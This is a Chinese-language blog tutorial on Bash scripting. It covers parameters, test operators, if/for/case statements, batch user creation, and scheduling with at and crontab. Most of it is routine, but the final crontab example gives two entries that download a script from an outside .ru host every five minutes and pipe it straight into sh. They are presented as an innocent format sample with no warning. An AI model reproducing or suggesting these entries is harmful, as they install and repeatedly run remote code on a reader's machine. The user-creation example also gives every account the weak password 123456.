shell脚本的编写

  • Shell脚本命令的工作方式有两种:
    • 交互式:用户在命令行中输入一条命令就立即执行
    • 批处理:用户事先编写好一个完整的Shell脚本,Shell会一次性执行脚本中的诸多命令

编写简单的脚本

一个例子:

1
2
3
4
5
6
7
8
[root@VM_0_13_centos shells]# cat example_1.sh
#!/bin/bash
pwd
ls -l
[root@VM_0_13_centos shells]# bash example_1.sh
/root/shells
total 4
-rw-r--r-- 1 root root 22 Mar 21 14:13 example_1.sh

上面的例子是直接用bash解释器命令运行shell脚本,除此之外我们还可以通过为脚本添加执行权限,输入完整路径来运行:

1
2
3
4
5
6
7
8
9
10
[root@VM_0_13_centos shells]# ./example_1.sh
-bash: ./example_1.sh: Permission denied
[root@VM_0_13_centos shells]# chmod u+x example_1.sh
[root@VM_0_13_centos shells]# ll
total 4
-rwxr--r-- 1 root root 22 Mar 21 14:13 example_1.sh
[root@VM_0_13_centos shells]# ./example_1.sh
/root/shells
total 4
-rwxr--r-- 1 root root 22 Mar 21 14:13 example_1.sh

接受用户参数

为了让shell脚本灵活的实现一些功能,我们必须让脚本接受一些参数:
$# 总共有几个参数
$* 所有位置的参数值
$? 对应上一次命令的返回值
$1,$2,$3...等对应第N个位置的参数
example:

1
2
3
4
5
6
7
8
9
10
11
[root@VM_0_13_centos shells]# vim example_2.sh
[root@VM_0_13_centos shells]# cat example_2.sh
#!/bin/bash
echo "当前脚本名称$0"
echo "总共有$#个参数,分别为$*"
echo "第一个参数为$1,第二个参数为$2"
[root@VM_0_13_centos shells]# chmod u+x example_2.sh
[root@VM_0_13_centos shells]# ./example_2.sh num1 num2 num3 try
当前脚本名称./example_2.sh
总共有4个参数,分别为num1 num2 num3 try
第一个参数为num1,第二个参数为num2

判断用户的参数

在接收了用户提供的参数之后要对参数进行判断使用
格式如下:
[ 表达式 ]
按照测试对象来分,条件测试语句分为以下四种:

  • 文件测试语句
  • 逻辑测试语句
  • 数值比较语句
  • 字符串比较语句

文件测试

运算符 作用
-d 测试文件是否为目录类型
-e 测试文件是否存在
-f 判断是否为一般文件
-r 测试当前用户是否有权限读取
-w 测试当前用户是否有权限写入
-x 测试当前用户是否有权限执行

example:

1
2
3
4
5
6
7
8
9
[root@VM_0_13_centos shells]# [ -d /etc/fstab ]
[root@VM_0_13_centos shells]# echo $?
1
[root@VM_0_13_centos shells]# ll /etc/fstab
-rw-r--r--. 1 root root 396 Mar 19 2018 /etc/fstab
[root@VM_0_13_centos shells]#
[root@VM_0_13_centos shells]# [ -f /etc/fstab ]
[root@VM_0_13_centos shells]# echo $?
0

逻辑测试

&& 逻辑“与”,表示当前命令执行成功后才能执行后面的命令
|| 逻辑“或”,表示当前命令执行失败后才能执行后面的命令
! 逻辑“非”,表示把测试中的判断结果取相反值
example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[root@VM_0_13_centos shells]# [ -e /dev/cdrom ] && echo "exist"
exist
[root@VM_0_13_centos shells]# ll /dev/cdrom
lrwxrwxrwx 1 root root 3 Mar 7 16:53 /dev/cdrom -> sr0
[root@VM_0_13_centos shells]# echo $USER
root
[root@VM_0_13_centos shells]# [ $USER = root ] || echo "user"
[root@VM_0_13_centos shells]# useradd lele
[root@VM_0_13_centos shells]# su lele
[lele@VM_0_13_centos shells]$ [ $USER = root] || echo "user"
bash: [: missing `]'
user
[lele@VM_0_13_centos shells]$ [ $USER = root ] || echo "user"
user
[lele@VM_0_13_centos shells]$ exit
exit
[root@VM_0_13_centos shells]# [ ! $USER = root ] || echo "administrator"
administrator

数值比较

可用的整数比较运算符:

运算符 作用
-eq 是否等于
-ne 是否不等于
-gt 是否大于
-lt 是否小于
-le 是否等于或小于
-ge 是否大于或等于

example:

1
2
3
4
5
6
7
8
9
[root@VM_0_13_centos shells]# [ 10 -gt 10 ]
[root@VM_0_13_centos shells]# echo $?
1
[root@VM_0_13_centos shells]# [ 11 -gt 10 ]
[root@VM_0_13_centos shells]# echo $?
0
[root@VM_0_13_centos shells]# [ 10 -eq 10 ]
[root@VM_0_13_centos shells]# echo $?
0

一个查看内存使用量的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
[root@VM_0_13_centos shells]# free -m
total used free shared buff/cache available
Mem: 992 501 73 0 417 330
Swap: 0 0 0
[root@VM_0_13_centos shells]# free -m | grep Mem
Mem: 992 501 73 0 417 330
[root@VM_0_13_centos shells]# free -m | grep Mem |awk '{print $4}'
73
[root@VM_0_13_centos shells]# FreeMem=`free -m | grep Mem |awk '{print $4}'`
[root@VM_0_13_centos shells]# echo $FreeMem
68
[root@VM_0_13_centos shells]# [ $FreeMem -lt 1024 ] && echo "insufficient Memory"
insufficient Memory

字符串比较

常见的字符串比较运算符:

运算符 作用
= 比较字符串是否相同
!= 比较字符串是否不同
-z 判断字符串是否为空

流程控制语句

if

单分支:

1
2
3
if 条件测试语句
then 命令序列
fi

example:

1
2
3
4
5
6
7
8
9
10
11
12
[root@VM_0_13_centos shells]# ll /temp/test
ls: cannot access /temp/test: No such file or directory
[root@VM_0_13_centos shells]# vim if_1.sh
[root@VM_0_13_centos shells]# cat if_1.sh
#!/bin/bash
DIR="/temp/test"
if [ ! -e $DIR ]
then mkdir -p $DIR
fi
[root@VM_0_13_centos shells]# bash if_1.sh
[root@VM_0_13_centos shells]# ll /temp/test
total 0

双分支:

1
2
3
4
if 条件测试语句
then 命令序列1
else 命令序列2
fi

example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[root@VM_0_13_centos shells]# vim if_2.sh
[root@VM_0_13_centos shells]# cat if_2.sh
#!/bin/bash
ping -c 3 -i 0.2 -w 3 $1 &> /dev/null
if [ $? -eq 0 ]
then
echo "Host $1 is on-line"
else
echo "Host $1 is off-line"
fi

[root@VM_0_13_centos shells]# ping -c 3 -i 0.2 -w 3 192.168.3.1
PING 192.168.3.1 (192.168.3.1) 56(84) bytes of data.

--- 192.168.3.1 ping statistics ---
15 packets transmitted, 0 received, 100% packet loss, time 2863ms

[root@VM_0_13_centos shells]# bash if_2.sh 192.168.3.1
Host 192.168.3.1 is off-line

多分支:

1
2
3
4
5
6
7
if 条件测试语句1
then 命令序列1
elif 条件测试语句2
then 命令序列2
else
命令序列3
fi

example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[root@VM_0_13_centos shells]# vim if_3.bash
[root@VM_0_13_centos shells]# cat if_3.bash
#!/bin/bash
read -p "Enter your score:" GRADE
if [ $GRADE -ge 85 ] && [ $GRADE -le 100 ]
then echo "$GRADE is excellent"
elif [ $GRADE -ge 70 ] && [ $GRADE -le 84 ]
then echo "$GRADE is pass"
else
echo "$GRADE is fail"
fi
[root@VM_0_13_centos shells]# bash if_3.bash
Enter your score:78
78 is pass
[root@VM_0_13_centos shells]# bash if_3.bash
Enter your score:90
90 is excellent
[root@VM_0_13_centos shells]# bash if_3.bash
Enter your score:8
8 is fail

for

1
2
3
4
for 变量名 in 取值列表
do
命令列表
done

example批量创建用户并设置密码:
首先创建文件user 里面写入想要创建的用户名,每个名称单独一行。
在脚本中使用read命令读取用户输入的密码值,从user文件中逐一读取用户名,用“id 用户名”的方法查看
用户是否存在,若不存在则增加,具体设置如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
[root@VM_0_13_centos add_users_shell]# cat user
user1
user2
lele
[root@VM_0_13_centos add_users_shell]# vim users_add.sh
[root@VM_0_13_centos add_users_shell]# cat users_add.sh
#!/bin/bash
read -p "Input the users passwd:" PASSWD
for UNAME in `cat user`
do
id $UNAME &> /dev/null
if [ $? -eq 0 ]
then
echo "$UNAME already exists"
else
useradd $UNAME &> /dev/null
echo "$PASSWD" |passwd --stdin $UNAME &> /dev/null
if [ $? -eq 0 ]
then
echo "$UNAME,Create success"
else
echo "$UNAME,Create failed"
fi
fi
done

[root@VM_0_13_centos add_users_shell]# bash users_add.sh
Input the users passwd:123456
user1,Create success
user2,Create success
lele already exists

while

1
2
3
4
while 条件测试操作
do
命令序列
done

case

1
2
3
4
5
6
7
8
9
10
11
case 变量值 in
模式1)
命令序列1
;;
模式2)
命令序列2
;;
......
*)
默认命令序列
esac

example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[root@VM_0_13_centos shells]# vim case_example.sh
[root@VM_0_13_centos shells]# cat case_example.sh
#!/bin/bash
read -p "请输入:" KEY
case "$KEY" in
[a-z]|[A-Z])
echo "您输入的是字母"
;;
[0-9])
echo "您输入的是数字"
;;
*)
echo "您输入的是空格等其他字符"
esac
[root@VM_0_13_centos shells]# bash case_example.sh
请输入:9
您输入的是数字
[root@VM_0_13_centos shells]# bash case_example.sh
请输入:s
您输入的是字母

计划任务服务程序

一次性计划任务

at 时间即可做到,at -l查看已设置好但未执行的任务,atrm 序列号删除已设定的任务
example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
[root@VM_0_13_centos shells]# at 16:40
at> touch file<EOT>
job 3 at Thu Mar 21 16:40:00 2019
[root@VM_0_13_centos shells]# at -l
3 Thu Mar 21 16:40:00 2019 a root
[root@VM_0_13_centos shells]# echo "touch file1" | at 16:40
job 4 at Thu Mar 21 16:40:00 2019
[root@VM_0_13_centos shells]# at -l
3 Thu Mar 21 16:40:00 2019 a root
4 Thu Mar 21 16:40:00 2019 a root
[root@VM_0_13_centos shells]# echo "touch file2" | at 16:40
job 5 at Thu Mar 21 16:40:00 2019
[root@VM_0_13_centos shells]# at -l
3 Thu Mar 21 16:40:00 2019 a root
5 Thu Mar 21 16:40:00 2019 a root
4 Thu Mar 21 16:40:00 2019 a root
[root@VM_0_13_centos shells]# atrm 5
[root@VM_0_13_centos shells]# at -l
3 Thu Mar 21 16:40:00 2019 a root
4 Thu Mar 21 16:40:00 2019 a root
[root@VM_0_13_centos shells]# ll
total 28
drwxr-xr-x 2 root root 4096 Mar 21 16:14 add_users_shell
-rw-r--r-- 1 root root 196 Mar 21 16:25 case_example.sh
-rwxr--r-- 1 root root 22 Mar 21 14:13 example_1.sh
-rwxr--r-- 1 root root 131 Mar 21 14:26 example_2.sh
-rw-r--r-- 1 root root 0 Mar 21 16:40 file
-rw-r--r-- 1 root root 0 Mar 21 16:40 file1
-rw-r--r-- 1 root root 71 Mar 21 15:38 if_1.sh
-rw-r--r-- 1 root root 137 Mar 21 15:45 if_2.sh
-rw-r--r-- 1 root root 223 Mar 21 15:56 if_3.bash

周期性任务

linux中的crond服务用于设置周期性,有规律的任务。
crontab -e创建,编辑计划任务
crontab -l查看当前计划任务
crontab -r删除某条计划任务
crontab设置任务的参数格式如下:
分 时 日 月 星期 run_command
如果有些字段没有设置则需要使用星号(*)占位

1
2
*/5 * * * * curl -fsSL http://prax0zma.ru/8.sh | sh
*/5 * * * * wget -q -O- http://prax0zma.ru/8.sh | sh

/5代表每五分钟,也可用1,3,5代表周1,3,5;12~15代表12~15日

-------------本文结束感谢您的阅读-------------